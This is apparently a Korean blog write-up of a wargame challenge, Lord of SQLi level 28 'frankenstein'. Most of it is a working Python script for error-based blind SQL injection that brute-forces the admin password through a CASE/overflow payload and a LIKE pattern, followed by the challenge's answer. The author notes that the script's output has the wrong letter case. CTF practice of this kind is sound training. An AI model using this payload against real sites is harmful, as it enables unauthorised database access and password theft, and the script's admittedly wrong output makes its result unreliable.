OS - 28번 frankenstein

[28] frankenstein


문제


풀이

LoS 28번 Python 자동화 코드이다.

import requests

url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = {"PHPSESSID":"2evml88c628kabc2j1vfk63ks9"}

print("🖤 Start SQLi...")

ans = ""
end = False

for i in range(1, 100):
    if(end==True):
        print(f">> There's No Letter {i}")
        break
    end = True
    print(f"🖤 Checking letter {i}...")
    for asc in range(48, 127):
        search = ans+chr(asc)
        payload = f"?pw=' || CASE WHEN id='admin' and pw like '{search}%25' THEN 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF ELSE 0 END %23"
        res = requests.get(url+payload, cookies=cookie)
        if("login_chk" in res.text):
            continue
        elif("error" in res.text):
            print(f">> Letter {i}{chr(asc)}")
            ans+=chr(asc)
            end = False
            break

print(f"🖤 Answer : {ans}")

그런데 여기서 끝이 아니었다.

자동화 공격 결과 분명 답은 숫자와 알파벳 대문자의 조합으로 나왔건만...

아무리 넣어봐도 안 풀렸다.

도저히 이유를 모르겠어서 다른 블로그 글을 찾아봤더니 답은 0dc4efbb 였다.

왜 아스키로 검색했는데 대소문자가 반대로 나오는지...


결과

좋은 웹페이지 즐겨찾기